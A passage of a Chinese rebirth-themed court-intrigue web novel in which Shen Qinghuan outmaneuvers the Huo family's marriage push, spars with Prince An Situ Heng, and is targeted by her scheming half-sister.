沈清欢握住了祖父的手,老人家手凉的吓人:“祖父,功高震主,非是旁人要对沈家出手,是那位。” “他怎么会?”沈良辅声音虚弱。 沈清欢柔声:“若非他,霍家哪里来的胆子?您是天子恩师,辅佐幼主居功至伟,父亲是朝中大员,文臣之首,兄长如今在军中崭露头角,祖父,您教导阿灼,人道忌满,沈家满了。” “是啊。”沈良辅整个人像是被抽干了精气神一般,他辅佐幼主,看着当今长大,虽已赋闲在家,可沈家到底在朝权柄太大了。 沈清欢静静地坐着,没再说话。 沈良辅沉吟良久:“你父也说沈家凶险,阿灼又拿出来这份书信,看来他们谋划许久了,这赐婚圣旨若下了,沈家接不住。” “那要看白向晚是不是能成事。”沈清欢把自己做的事说了一遍。 沈良辅看着沈清欢的眼神都变了,是钦佩,也是欣慰:“阿灼竟有如此韬略。” “您可是帝师,悉心教导栽培阿灼多年,阿灼可不能让您失望。”沈清欢说。 沈良辅摇头:“祖父老了,如今竟没有破局之法。” “静观其变,祖父,父亲不能辞官,但您可以抱病,兄长暂不归军中,因阿灼觉得,霍家也是被算计在内的,想要全身而退很难。”沈清欢说。 沈良辅蹙眉:“国无大将,傅家暂时不能动。” “司徒珩虎视眈眈,他想要兵权。”沈清欢说。 沈良辅突然笑了,撑着身子坐起来:“阿灼所言甚是,让你父去请御医来。” “是。”沈清欢起身要走。 沈良辅说:“家贼暂时养一养,不宜操之过急。” 沈清欢回头看着祖父,抿紧唇角点头。 沈家请了御医进府,沈家都聚在福寿堂外。 沈清欢站在母亲身边,抬眸打量着大房一家子。 早晚,收拾干净! 御医给是沈良辅诊脉后,急匆匆的回去尚药局,沈老夫人让所有人回去自己的院子,因御医叮嘱要静养。 回去的路上,沈夫人紧紧地牵着女儿的手,到迎晖院都不肯松开,退了伺候的仆从,拉着她的手坐在软榻上:“阿灼,你取走护心丹,你祖父就突然病了,到底发生了什么事?” 沈清欢轻轻地靠在母亲的怀里:“母亲,事情都挤在一处,我还没来得及跟母亲禀告。” 沈夫人顺着沈清欢的背:“傻孩子,母亲是当家主母,什么都不知道岂不是失职了?” 提前月余,母亲就为了及笄的事操劳,沈清欢的鼻翼是母亲身上淡淡的梅花香,心也安稳了许多,她缓缓到来,从梦到大火从祖父书房燃起到发现栽赃密信,再到太后提亲,霍家请旨赐婚,又有白向晚登门求告。 “说得好听是求告,是白家要提前敲打我的阿灼。”沈夫人冷嗤:“是断定沈家不敢抗旨不尊。” 沈清欢蹭了蹭母亲的手:“也是为白家脸面遮掩,白、霍两家的婚约虽不至于人尽皆知,但并非谁也不知道。” “阿灼,这些事情母亲和父亲可以操持。”沈夫人看着自己的女儿:“不能让小小年纪的人挡在所有人前头。” 沈清欢轻声应是。 尽管心里根本没有这个想法,她重生归来要做的事多得很。 从母亲的迎晖院回来,天色已晚。 沈清欢泡了一壶热茶等兄长前来,在沈家,若寻一个帮手必定是兄长,因他不愚忠。 果然,热茶正好,沈清樾就来了。 进门的沈清樾坐在椅子上,打量着好像一夕之间就长大了的小妹,一肚子的话竟不知道从何说起。 “兄长,今儿才第一天,明天才热闹。”沈清欢递过来茶盏:“白家会鸡飞狗跳,霍家会焦头烂额,沈家无忧。” 沈清樾缓缓吸了一口气:“这便是你憎恶司徒珩的底气是吗?” “他不该被憎恶吗?”沈清欢嘴角染了冷意:“司徒一族,都是忘恩负义之辈,当今得祖父和父亲两代人辅佐,若非祖父求情,司徒珩能长大成人? 这些恩情就算沈家不提,他们就能忘?” 沈清樾眉头蹙起:“小妹,兄长愚钝了,不若你说明如何?” “自是要跟兄长说通透的,因沈家真正能挑大梁的第三代,唯有兄长。”沈清欢抿了口茶润喉:“ 父亲已萌生退意,但尚需要时机,兄长觉得那封信的作用什么时候能显露出来?” “会很快。”沈清樾说:“他们也担心夜长梦多。” 沈清欢看着跳动的烛火:“那就让一切都来的快些!昏君的天下,忠诚就是自寻死路 ,司徒珩想要兵权,尽可去争,少招惹我们沈家。” 沈清樾欲言又止。 “兄长,与虎谋皮不是长久之计,那司徒珩少见为好。”沈清欢说:“我们沈家看似简在帝心,可内里早就不干净了,一家如一国,攘外需先安内。” 兄妹二人,一局棋,夜半子时刚过,碧桃从外面进来,小声说:“小姐,白家闹翻天了。” 沈清欢抬头看沈清樾,勾起唇角露出笑意:“兄长,回去好好睡一觉,我也困了。” 沈清樾起身,犹豫着又坐下了:“小妹,凡事都可以交代兄长去做。” 沈清欢抬头看着兄长,轻轻点头:“嗯。” 听着沈清樾离开的脚步声,沈清欢疲惫的靠在迎枕上,闭上眼脑海里都是沈家上一世的惨状,如今,该换个执子人了。 第8章 入宫作甚?本就跟沈家无关 一夜好眠。 沈清欢醒来的时候,沈夫人已经在外间坐了好一会儿了。 “小姐,夫人等您呢。”林嬷嬷进来服侍沈清欢起身。 沈清欢知道母亲只怕接到了宫里的消息,起身出来的时候,果然见母亲一脸焦急。 “母亲,是宫里召见吗?”沈清欢问。 沈夫人过来拉住了女儿的手:“阿灼,你父已经被叫去了御书房,皇后娘娘差人送来消息,让我们母女秘密入宫。” 沈清欢坐在母亲身边,柔声说:“母亲,我们入宫作甚?本就跟沈家无关。” “你父亲的意思,这赐婚圣旨只怕还是要下。”沈夫人说。 沈清欢摇头:“白向晚豁得出去,不用我们入宫,她只怕已经在宫门口了。” 话音落下,母亲身边的秋香进来禀报,白向晚跪在宫门口,求见皇后娘娘。 沈夫人和沈清欢对视一眼。 “母亲,皇后娘娘是不赞成这门婚事的,否则也不会让我们秘密入宫,一旦咱们入宫去了,回头别人就会把脏水泼到沈家头上,真要入宫,那也是名正言顺,且等着,皇后娘娘会下懿旨召见祖母、母亲和我一起入宫的。” 白向晚跪在宫门外不知多久,起风落雨,这一场雨来的又快又急,她在风雨中像一支随时都可能凋零的花一般。 眼看着天色渐晚,宫门终是打开了,白老夫人和白夫人从宫门里出来,二人搀扶着白向晚起身。 白向晚颤巍巍的问:“ 祖母,母亲,可有转机?” 白夫人怒急,扬起手就是一个打耳光,抽的白向晚脸颊瞬间肿了起来:“逆女!你怎么敢如此糟践你表哥和白家!如今问转机?若非你派人传开了这等丑事,就该三尺白绫让你自毙!” 白老夫人脸色一沉:“ 霍家的脸子是脸子,向晚的名节就不重要了?若非早有婚约,哪里来今日的劫难?霍家什么都想要,就不想要脸?” 这话也不怪白老夫人说的难听,白向晚和霍云昭早有婚约,出尔反尔是霍家,竟还厚颜无耻的说娶了沈家女,还会娶白向晚,如此恬不知耻,白夫人是霍家女,不在意这些,可一直栽培白向晚的老夫人哪里演的下这口气? 至于昨晚的事,白老夫人不相信是自己孙女不检点,霍云昭明明得了便宜还要血口喷人是孙女手段下作,小人一个! 也是堵了一口气,白老夫人才腆着脸进宫去,这件事没法收场,除非赐婚圣旨收回,反正圣旨还没下呢。 至于白向晚嫁不嫁霍家,霍家如何对待白向晚,这都没法考虑了,谁也不能未卜先知。 白夫人被婆母呛了一句,低着头不说话了。 白老夫人白了儿媳一眼,对白向晚说:“ 此事尚有转机,既是闹了,也不怕闹大一些,不过霍家非良配,向晚不能糊涂。” 白向晚低头垂泪,她现在哪里有退路?昨晚该发生、不该发生的事都做了,表哥顺水推舟没少折腾自己,如今残花败柳,若不嫁给表哥,谁还能要自己?再说,自己心心念念就是表哥,天塌下来也是要嫁给他的,除非自己死。 沈家没什么消息,除了老太傅身体不妥当外,没有任何风吹草动,坊间传言虽愈演愈烈,可更多人是不相信这件事跟沈家有关系的,就算皇上糊涂,难道所有人都糊涂?会让霍家和沈家结姻亲? 宫里,陈皇后被召到寿康宫里。 姜太后坐在软塌上,低垂着眉眼,整个人似睡非睡的样子。 “母后。”陈皇后给姜太后请安。 闵太后手指这才动了动,捻着佛珠:“坐下吧,如今那白家闹腾的厉害,你可知细情?” “儿臣也觉得此事蹊跷,按理说白向晚不是无奈又没规矩的人,出身世家大族能如此抛名节于不顾,真是不应该。” 陈皇后压低声音:“除非……” 闵太后撩起眼皮儿,陈皇后的话就不能往下说了。 旁边嬷嬷递过来茶盏。 闵太后接过来润了润喉:“昨儿哀家请沈老夫人去上香,今儿白家就闹腾出这么一桩丑事,要哀家说,霍家出尔反尔才是蹊跷,白老夫人和白向晚登门沈家更是蹊跷,怎么着?文臣武将缔结姻亲,皇上还要破这个先例?” 陈皇后赶紧说:“儿臣也怕皇上开这个先例,早就差人传口谕,让沈夫人和沈小姐悄悄入宫了,可眼下看,这是不肯来。” “白家都敢闹腾到哀家跟前,你让沈家悄悄入宫?谁能来?”闵太后面露不悦:“传旨宣召才是正经的, 莫说沈家,谁家也不会应霍家这桩婚,皇上怎么糊涂了?” 陈皇后不敢多言皇上半句,只能说:“ 母后,沈家就算入宫,也是要拒婚的。” 闵太后没接茬儿。 陈皇后尴尬了,转念一想就知道太后为何不满意了,起身:“儿臣去找皇上。” “嗯。”闵太后点头。 翌日。 沈老夫人、沈夫人和沈清欢被宣召入宫。 不是去见皇后,而是去见太后。 沈清欢走在青石板路上,心里极不平静,因按照上一世的时间算,今日是沈家遭逢大难的时候。 早朝还没散。 上一世她也是今天见到了闵太后,司徒家的人都可恨,可唯独这位闵太后例外,若无她庇护求情,自己是没有活路的,尽管这活路她根本不想要。 寿康宫里。 闵太后免了沈老夫人的礼,让她落座,等沈夫人和沈清欢请安后,也都赐了座。 “白家的事,可听说了?”闵太后问沈老夫人。 沈老夫人微微欠身:“回太后,臣妇略有耳闻,不过这件事到底怎么个内情外人看不透,倒是白老夫人和白小姐前儿去过家里。” “哦?”闵太后挑眉:“为何登门?” “为了让阿灼答应给白小姐一个平妻的名分。”沈老夫人苦笑:“这事儿是说出来,都让人觉得滑天下之大稽。” 闵太后脸色一沉:“一群猪脑子!” “太后说的是,前脚来了沈家 ,后脚就闹腾出这样的事,臣妇心里就琢磨,他们这是给沈家添堵吗?”沈老夫人看了眼自己的孙女:“阿灼才及笄,婚事可不急。” 闵太后抬头端详沈清欢,笑了:“倒也不是不着急,只不过这人选啊,确实要掂量掂量。” 沈清欢心就咯噔一下,她有了不好的预感。 第9章 还有脸跑来负荆请罪 沈清欢低垂着眉眼,一幅乖巧的模样,心里早已经翻江倒海。 闵太后笑吟吟的望着沈老夫人:“哀家倒是盼着呢。” “太后,沈家如今为了孩子的婚事提心吊胆的,不若再往后压一压吧。”沈老夫人柔声:“阿灼是臣妇心尖儿上的孩子,原打算择婿要择她自己个儿心仪的,只要她活得恣意快活就成。” 闵太后点了点头,在座的沈老夫人和沈夫人,包括身为太后的她,哪个能有这样的福分?寻一个心仪的人共度余生,沈家有这份心思都是极难得的。 若非傅家横插一脚,哪里有这些糟心事? 不过这些话沈老夫人不能说,闵太后也不能说。 前头下了早朝, 司徒珩往太后这边来请安,进门见沈家人在,目光从沈清欢的身上扫过,到太后跟前:“儿臣给母后请安。” “政务繁忙就无需早晚都来了。”闵太后嘴上这么说,但眉眼都是笑意。 按理说当今皇上是闵太后的亲生子,可沈清欢觉得闵太后更喜欢司徒珩。 司徒珩坐在旁边:“前头因白家的事闹得厉害,皇上发了好一通火,霍家那意思是白向晚算计霍云昭,霍云昭并无大错。” 闵太后扫了一眼沈清欢,别人不了解司徒珩,她可是太了解这个人的秉性了, 寻常惜字如金,这些话可不是说给自己的听的。 “倒也不无道理。”闵太后附和。 司徒珩扫了一眼沈清欢,发现她耳朵尖有点儿红,心里舒坦多了,这个丫头那么一点儿不掩饰的厌恶自己,真是不讨人喜欢。 “所以,霍家还要请皇上赐婚。”司徒珩说这句话的时候,就看着沈清欢。 沈清欢猛地抬起头,眼神一瞬间犹如利刃般,虽转瞬即逝,可到底没逃过司徒珩的眼睛,这让他要用大力气才能抑制住上扬的嘴角,转过头看着闵太后:“沈大人一怒之下掌掴霍老将军,朝堂上乱成一团,皇上罚了沈大人十板子。” 沈老夫人哪里还能坐得住,闵太后也不多问了。 三人出宫直接回府,到府里就见步秋从书房出来。 “老夫人。”步秋过来行礼。 沈老夫人问:“可严重?” “不慎严重。”步秋说。 沈老夫人点头,三人往书房去。 书房里,沈景谦趴在软塌上,见到母亲进来,忍不住笑了:“母亲,无大碍。” “一把年纪,竟还和人家打架,丢不丢人?”沈老夫人过来坐在绣墩上。 沈景谦清了清嗓子:“总是要给皇上个台阶下,谁也没想到霍家那么不要脸,再说了,这一架打完,我就不信霍家还敢盯着咱们。” 沈清欢站在母亲身边,心里十分难受,虽然和上一世不同,沈家在抓住一切机会改变现状,可如此自损八百的法子是不可用的。 祖父抱恙在府里,别人说不出什么,父亲就算今日挨了板子,可也不能不去朝堂走动,霍家真是一点儿脸也不要了。 没等家里人说几句话,前头守门的家丁进来禀报,霍家大公子登门请罪,在门口跪下了。 沈清欢上前:“祖母,让阿灼去。” 沈老夫人刚要摇头,沈清欢说:“做给世人看,阿灼比谁都更管用。” “母亲,阿灼说的没错。”沈景谦察觉到女儿变了许多,有心看看这孩子到底怎么一夕之间性子都变了,见一见霍云昭也无妨。 沈老夫人只能点头。 沈清欢带着疏影和红缨往府门口来。 府门打开,沈清欢站在台阶上,负荆请罪跪在门口的霍云昭,一身褐红色长袍,黑色皂靴,单膝跪地的时候脊背挺直,颇有些武将风姿,至于容貌,能让白向晚一股脑的扎进去,确实不差,只是此人眼神过于坚定, 是个不达目的不罢休的人。 霍云昭万万没想到沈家竟让未出阁的姑娘出门见客,还是自己提亲的沈清欢,之前看得是小像,已经觉得是个美人儿,如今见到画里的人活生生的站在面前,他竟一眼就喜欢了她染了愠怒的模样。 “沈小姐,某替祖父登门赔情,只因某心仪沈小姐已久,本是好姻缘,奈何有人从中作梗,让沈大人误会了。”霍云昭拱手行礼。 沈清欢打量过了霍云昭,微微颔首还礼:“霍小郎君,你说心仪我许久是多久?” 不远处,沈清樾脸红脖子粗的要下马车,恨不得揍死霍云昭。 “清樾别急,我看令妹成竹在胸,且看看。”司徒珩拉住沈清樾,他倒是要看看沈清欢会如何对待霍云昭,若是对霍云昭以礼相待的话,他一定要问问,为何偏偏对自己那么厌恶了。 “是,某虽在雁门关,但很久以前就见过姑娘的小像。”霍云昭说。 沈清欢冷嗤一声:“这就奇怪了,京城里各家都有不成文的规矩,家中女儿及笄前是不会请人画小像的,霍小郎君的小像是怎么得到的呢?” “这个。”霍云昭一噎。 沈清欢也没有让霍云昭给答案的心思,话锋一转:“从中作梗的人是谁?是霍小郎君指腹为婚的事未婚妻,白小姐吗?” 霍云昭的脸一瞬就红了:“沈小姐,传言不可信,我和白小姐之间并无婚书。” “白小姐之前来过沈家,逼问我是否要嫁给霍小郎君,还请求我给她一个平妻之位,霍小郎君,你我今日是头一遭见面,为何如此笃定,你若想娶,我沈家就得嫁呢?” 看热闹的人可不少,有人忍不住笑了。 别说沈府小姐,就是寻常百姓人家要议亲,那也是要一步一步来,这霍家是想要抢亲吗? “霍小郎君,你是负荆请罪吗?你是想要逼沈家,可是你逼沈家什么呢?把我嫁给你? 可凭什么呢?”沈清欢冷冷的逼视着霍云昭:“都说武将出身,都有一身傲骨和气节,我怎么在霍小郎君身上只看到了处心积虑的算计,敢做不敢当的畏缩,男儿膝下有黄金,你跪在沈府门前,可折辱不到沈府,那你折辱谁呢?” 马车里,司徒珩没忍住笑了。 虽然是骂人,但挺好听的,这么比较起来,沈清欢对自己还算是嘴上积德了。 “沈小姐,你何必如此咄咄逼人?”霍云昭被说的急了,站起来比沈清欢高出一头不止,垂眸:“难道我霍家还配不上沈家了?” “霍小郎君慎言,霍家为国为民镇守边关,我等安宁全要仰赖霍家。”沈清欢说。 霍云昭呼出一口浊气:“你知道就好。” “是沈家不敢高攀,沈家出文臣,霍家尽武将,霍小郎君是要逼着当今皇上破先例,让文臣武将缔结姻亲关系?我有些奇怪,霍家是用什么逼迫皇上的?难道是军功和边关安宁吗?”沈清欢抬眸,大大方方的看着霍云昭。 马车里,司徒珩抬起手压住额角,轻笑出声,这是在给谁找台阶下呢? 第10章 司徒珩,你少管我的事 沈清欢仰起脸看着霍云昭,声音不大不小:“霍小郎君你怕是忘记了,沈家从先帝在时托孤到现在,从来都恪守本分,皇上最知沈家忠心,就算今日打了父亲板子,那也不过是小惩大诫,反倒是霍家朝堂之上步步紧逼已有欺君之意,朝堂之下还要摆出来这么大的阵仗,陷沈家被人指摘,说一句居心叵测也不为过,竟还用小儿女的情事做遮羞布,难道京城遍地是傻子?你霍家说什么就是什么?” “好一张利嘴。”霍云昭冷声。 沈清欢冷嗤:“会说的,不如会听的,我就算舌绽莲花,若不是有理有据,别人也会说一句胡搅蛮缠,偏偏霍家给了我机会,就算当面编排了你,你能奈我何?少跑来恶心人,慢走不送。” 这下,人群里嘲笑声多了起来。 “啪!啪!啪!” 人群中,一红衣华服青年人击掌而出,见沈清欢看过来,微微一笑颔首:“在下佩服沈小姐的深明大义,实乃我京城贵女典范,所言句句都在理儿,霍云昭,你若是还想要点儿脸,就赶紧滚蛋。” 司徒珩撩起帘子看过来,眼神一黯,这厮怎么跑来看热闹了? 沈清欢认得这个人,卫国公府的二少林墨洲,出了名的纨绔子弟。 林墨洲没什么用,但林墨洲的妹妹是林舒清,林舒清爱慕司徒珩,其人谋略手段都可圈可点,刚好自己找不到机会结交一番,好利用林舒清退太后意图撮合自己和司徒珩的事呢。 想到这里,沈清欢微微点头:“林二公子眼明心亮。” 林墨洲咧嘴笑了,他鲜少被人夸赞,更不用说是个美人儿了,立刻走过来环抱于胸,抬起下巴看霍云昭:“还不走?怎么着?还要死皮赖脸的难为沈小姐吗?真看不出来,真人都没见到过,就因为小像便一往情深了?霍云昭,你要说看上了沈家的权势,我还能信。” “你闭嘴!”霍云昭被羞辱的怒火中烧。 林墨洲啧啧两声:“你要打我啊?你打我啊?” 霍云昭抡拳头就打过去了。 沈清欢迅速后退,嘴里惊呼:“林二公子小心。” 打起来了,沈清樾快步走过来,把妹妹护在身后,低声:“回去。” “兄长,霍小郎君在咱们家门口寻衅滋事,保不齐会惊动圣上。”沈清欢说,看似一脸担忧,但眼底兴奋之色都快掩饰不住了。 司徒珩下了马车,慢悠悠的走过来。 沈清欢一眼看到司徒珩,顿时脸色一沉,转身带着丫环回去了。 司徒珩心里一梗,到底是什么时候得罪了这个小丫头? 沈清欢没走出几步,就听司徒珩沉声:“你们真是好雅兴,沈太傅和沈大人都身体不爽利,皇上差本王过来探望,你们倒能耐了,打架选个地儿,别扰了沈太傅和沈大人清净。” 论身份,司徒珩是安王。 不管是卫国公的林墨洲还是霍云昭,身份都要低一些的。 沈清欢都不用回头也知道那两个人得收手离开。 回去书房,沈景谦已经敷了药,侧身躺着,沈老夫人和沈夫人坐在旁边,三个人听孙嬷嬷说四小姐在府门口训斥霍云昭,沈景谦都笑了:“母亲,阿灼开窍了,还知道给皇上找个台阶下。” 沈老夫人白了一眼儿子:“倒是你,都没有阿灼沉稳。” 一旁的沈夫人噗嗤笑出声来:“母亲,景谦闹了朝堂,跟霍家撕破了脸皮也是妙计。” “沈家是文臣,斯文人,竟用这等兔子急了的手段,还得夸他了?”沈老夫人又瞪了沈景谦一眼。 沈景谦赶紧赔罪:“是是是,母亲教训的是,您心疼儿子,儿子知道。” 沈清欢进门的时候,便听到父亲在跟祖母服软的话了。 若是以前,她会觉得这样的母慈子孝真好,可现在却似更多的是心酸。 “祖母,父亲,母亲。”沈清欢给长辈行礼。 沈老夫人抬起手:“快来祖母身边,我们家阿灼啊,终于不是书呆子了。” 从来都不是书呆子,不过沈清欢确实鲜少出去走动,从开蒙就跟着祖父在密室书房里看书。 沈清欢靠在祖母的身旁:“一个两个都盯着我,想要从我身上占咱们沈家的便宜,若不豁出去,怎么行呢?” “阿灼倒也不用过于忧虑,霍家的事闹腾不起来。”沈景谦说。 虽然霍家来势汹汹,可白向晚神来之笔,确实解了沈家即将面临的困顿之局,至于别人好过不好过,跟沈家有什么关系? 霍家的事确实闹腾不起来,可那封密信呢? 沈清欢知道霍家求赐婚这一计策不成,并不耽误他们用密信收拾沈家,并且不会拖延太久。 门外,守门的家丁扬声:“安王到。” 沈老夫人、沈夫人和沈清欢起身。 沈清樾陪着司徒珩入内,后面还跟着一身红衣格外招摇的林墨洲。 “老身见过安王殿下。”沈老夫人行礼。 司徒珩还礼:“老夫人无需多礼,本王受皇上差遣,前来探望沈大人。” “老身告退,安王请便。”沈老夫人带着儿媳和孙女离开。 司徒珩刚坐下,一抬眸尽见沈清欢对林墨洲微微颔首,这小丫头眼光真差,竟喜欢这等骚包? 林墨洲憋着笑,没了寻常的懒散模样,脊背挺直的坐在椅子上。 ** 沈清欢送祖母和母亲回去后,往听风苑来。 一进门看到杜仲在院子里,沈清欢笑了:“来给我送零嘴儿?” 杜仲笑嘻嘻的跑过来说给沈清欢行礼:“是,四小姐喜欢的杏脯和梨干,还有师父最近制的兰香膏。” 沈清欢揉了揉杜仲毛茸茸的小脑袋:“疼你最不白疼。” “师父说,上次给的香丸弄错了,咱们府上喜欢梅花香的是大小姐。”杜仲低着头:“四小姐不会怪我吧?” 沈清欢微微挑眉,步秋是怕自己露出马脚,给自己提个醒儿。 “怎么会怪你呢?再说了,各种花香我都喜欢。”沈清欢说:“回去跟补师父说,回头都给我准备一些,我轮番着用。” 杜仲笑眯眯的点头:“是,四小姐,桂花香甜的很,我回去给四小姐做桂花香膏。” “好。”沈清欢看着杜仲欢快的跑出去的背影,难得嘴角勾起温柔的笑意,她很羡慕杜仲这般无忧无虑的样子,上一世杜仲没来得及长大,这一世,自己也要护着他平安。 “你似乎喜欢很多人。” 司徒珩翻墙而入,神色不悦:“为何独独对我横眉冷对?” 沈清欢的脸色一沉:“安王要注意身份,青天白日翻墙入内,丢了安王的脸面。” “哦?意思是夜色掩映之下,就可以了?”司徒珩饶有兴致的看沈清欢恶狠狠的瞪了自己一样,挑眉:“还是说,你就喜欢林墨洲那般的登徒子?本王是不是可以跟皇兄说一声,赐婚给卫国公府二公子,好像也不是多委屈。” “司徒珩!你少管我的事!”沈清欢抬起手指着他的鼻子:“我这里不欢迎你,出去!” 第11章 求一求本王,本王有一条妙计 司徒珩笑了,靠在门上打量着沈清欢:“是本王小瞧你了,确实有几分手段,如今霍家婚事不成,你觉得这烂摊子谁来收场比较好?” “跟沈家有什么关系?”沈清欢看着堵在门口的司徒珩,转身去亭子里坐下。 司徒珩随后跟进来坐在对面:“皇兄这一口气是咽不下去的。” “沈家从最开始就是被算计的,所以还是那句话,跟沈家有什么关系?”沈清欢抬头看着司徒珩。 司徒珩被她这么看着,反倒是有点儿不自在了,别开目光:“如果一怒之下,让你入宫为妃呢?” 沈清欢再也压抑不住心里的愤怒,这种话都能说出口,真是疯了,扬起手照着司徒珩的脸就抽过去了。 司徒珩抬手握住了沈清欢的手腕,转过头逼视着她:“沈四小姐,本王是好心好意提醒,你不领情也就罢了,上次撵我走,扔了待客的茶具已是过分至极,今日竟还要跟本王动手不成?” “不是已经动手了吗?”沈清欢用力抽自己的手,试图挣脱司徒珩的桎梏。 司徒珩没有松开的意思:“沈四小姐应该学学养气功夫,这般喜怒形于色可不是大家闺秀该有的气度,遇到事先发火,你还不够资格。” 犹如一盆冷水兜头淋下来,沈清欢的脸色都苍白了几分,收回手坐在椅子上,整个人都阴郁了。 “你倒是可以求一求本王,本王有一条妙计。”司徒珩好整以暇的靠在椅背上,扫了一眼空荡荡的桌子:“尽管,沈四小姐连最基本的待客之道都不曾学会,本王看在沈家代代忠良的份上,不计较。” “疏影,奉茶。”沈清欢扬声。 司徒珩勾了勾唇角:“手谈一局如何?” 沈清欢耐着性子吩咐红缨取来棋盘摆好。 清茶两盏,一局棋。 沈清欢一开始还没在意,可几个回合下来,她不得不打起精神应对司徒珩的围猎。 棋局过半,茶微凉。 “霍家有一个女儿叫霍静纭,年十六,随霍家父子入京,听说是个难得一见的佳人。”司徒珩说。 沈清欢手一抖,棋子落在棋盘上,司徒珩立刻按住了棋子。 “你!” “落子无悔。”司徒珩抬眸看着沈清欢。 沈清欢吸了口气:“安王,据我所知,霍静纭心仪之人是你,此番入京怕也要求圣上一个恩典,成为安王妃吧。” “呵。”司徒珩收回手,环抱于胸:“所以呢?” “你利用沈家的事,是怕被赐婚吧?”沈清欢端起茶盏:“真是好算计,明面上是在帮沈家,实则是为了让自己脱困,安王的城府真深不可测。” 司徒珩抬起手拈起一枚棋子在手里把玩:“沈四小姐,你放下对本王的敌意,仔细思量一番如何?” 沈清欢垂眸看茶盏里的茶叶,不得不说这确实是个好法子,皇上怒气消了,沈家避过一劫,可那封密信呢? 两个人正说话,郑嬷嬷从外面进来,站在亭子外面往这边张望。 司徒珩起身:“沈四小姐的茶,凉了。” 沈清欢抬眸:“慢走不送。” “下次,还用这个茶盏。”司徒珩说罢,起身离开。 郑嬷嬷赶紧过来:“小姐,大小姐在门外徘徊好一会儿了。” “不用搭理她。”沈清欢迈步回屋。 沈清瑶让人盯着司徒珩? 若不然司徒珩来这里一回,她就能这么准的找来,说是巧合鬼都不信。 隔了一会儿,郑嬷嬷又来:“大小姐说是来赔罪的。” 沈清欢微微眯起眼睛,点头:“让她进来。” 沈清瑶进门,这次规矩了很多,至少没有四处观望,进门见沈清欢在看书,走过来坐在椅子上:“四妹今儿真是给沈家长脸,我看着都解恨。” “长姐真这么觉得?”沈清欢抬头。 沈清瑶点头:“谁让他们作践咱们沈家姑娘,若不这样教训一顿,背地里说不准被人传成什么样子了呢。” “倒也是,回头再说咱们沈家家风不好,以后姐妹们的婚事都要犯难。”沈清欢把书放在一边,问:“长姐说赔罪,赔哪门子的罪呢?” 沈清瑶捏着帕子,脸色涨红:“上回是我不对,我不该说四妹和安王的事。” “我们能有什么事?”沈清欢靠在椅背上:“你也不用到我这里来说,你的婚事有长辈做主,不如去问祖母,若祖母同意的话,保不齐会跟太后知会一声。” 沈清瑶猛地抬头:“四妹,你说的是真心话?” “不过,长姐别忘了,论身份你确实跟安王没什么可能。”沈清欢容色淡淡的,扫了眼沈清瑶:“事有例外,总归是要争取一番的。” 沈清瑶脸一阵红一阵白,多留无益,起身告辞后去找沈老夫人,沈清欢的话虽然难听,可确实是这么个理儿,自己不说出来,永远都没机会,至少要让家里长辈知道自己心悦司徒珩。 沈老夫人听沈清瑶说完,闭着眼睛半天都没说话。 “祖母,我知道论身份我配不上安王,可这心思起了,孙女怎么都压不住。”沈清瑶红着眼眶,低头:“在您面前,孙女这脸子也不要了,说出来心里好受一些,也请祖母帮孙女筹谋一二。” 沈老夫人睁开眼睛看沈清瑶:“你从阿灼那边来?” “是。”沈清瑶低着头:“上回清越带着安王去四妹的院子里,我心里不痛快说了难听的话,今儿过去给四妹赔不是。” “是阿灼让你来跟我说的?”沈老夫人问。 沈清瑶点头:“祖母,四妹说要试一试,万一成了是好姻缘。” “我知道了,回去吧。”沈老夫人没露出不耐烦的表情,心里却十分不悦。 太后看中的是阿灼,沈家嫡女。 就算阿灼不喜司徒珩,一家里两个姑娘和一个男人纠缠起来,那可是天大的笑话! 沈清瑶回到自己的院子里,怎么想都心里不舒坦,想到今日府门口沈清欢耀武扬威的样子,计上心来。 “桃儿。”沈清瑶出声。 丫环立刻过来:“小姐。” “跟我出门。”沈清瑶起身往外走,桃儿紧随其后,主仆二人在后巷上了马车。 桃儿问:“小姐,去哪里?” “去霍家住着的巷子。”沈清瑶吩咐下去。 巷子口,沈清瑶叫来路边乞儿,低声吩咐了几句,给了一角银子后,坐进马车,吩咐车夫到街对面的飘香茶楼。 茶楼雅间,霍云昭应约而来,那小乞丐只说是太傅家的小姐邀约,他以为是沈清欢那边有变化,推开雅间的门,看着里面坐着的女子并非沈清欢,微微挑眉:“你是何人?” 第12章 这么着急吗?饥不择食了? 沈清瑶起身一礼:“霍小郎君今日受委屈了,身为长姐,虽不太合规矩可也不能坐视不理,特地请霍小郎君来一趟,赔个不是。” 沈家庶出长女。 霍云昭打量了沈清瑶几眼,迈步进门坐在椅子上:“沈家确实不识抬举。” “霍小郎君别忘心里去,四妹从小被家里人娇惯着长大,稍有不顺心就压不住脾气,但性子善良的很。”沈清瑶亲自给霍云昭斟茶。 霍云昭看着纤纤玉手在面前,微微挑起眉头,抬眸看沈清瑶,沈家女儿确实容色都不错。 只可惜是个庶出,若不然这个性子应该比沈清欢要好很多。 “霍小郎君,请。”沈清瑶奉茶到手边。 霍云昭接茶盏的时候,手指特地蹭了一下沈清瑶手指,见对方稳稳地端着茶盏,不见慌乱,笑道:“若论气度,沈大小姐确实比四小姐要好很多。” “霍小郎君谬赞了。”沈清瑶坐下来,说实在的,这婚事若真顺妥成了,她都要嫉妒沈清欢太好命,霍云昭身高足够八尺,剑眉星目,武将气派十分夺人眼球,世间女子能得如此俊俏又勇猛的夫婿,只怕做梦都能笑醒,只可惜沈清欢的身份注定这门婚事难成。 若非看出来沈家有意撮合沈清欢和司徒珩,自己倒真不该露着一面。 “听闻霍小郎君对四妹一见钟情。”沈清瑶说。 霍云昭讪笑:“只可惜落花有意,流水无情。” “倒也未必,古人都说好事多磨。”沈清瑶勾起唇角一笑:“若是好亲成了,我们就是一家人,四妹平日里深居简出,不喜在外走动,倒是每个月初一十五都会陪着祖母去进香。” 霍云昭眯起眼睛,美人都不长脑子吗?白向晚是一个,这又遇到了一个,真有些倒胃口。 “沈大小姐是想要让某如何行事?”霍云昭冷笑:“我倒是没看出来,京城高门之女,一个个都是心思龌龊之人,我霍云昭光明磊落,岂会行小人之事?” 沈清瑶愕然,自己挨了一顿骂! 霍云昭起身:“告辞!” “若沈家有意撮合沈清欢和安王呢?”沈清瑶看霍云昭的背影,说。 霍云昭收住脚步,回头打量着沈清瑶,心里了然:“原来沈大小姐是怕自己心仪之人被抢走啊。” “我们可以合作,各取所需,难道不好?”沈清瑶也不装高贵了,若这次不能和霍云昭联手把沈清欢处理掉,这门婚事怎么也落不到自己的头上,别说安王妃,侧妃或妾,都没有自己的份儿。 霍云昭转过身坐下来:“你说的初一十五太久,这一两天可有机会?” 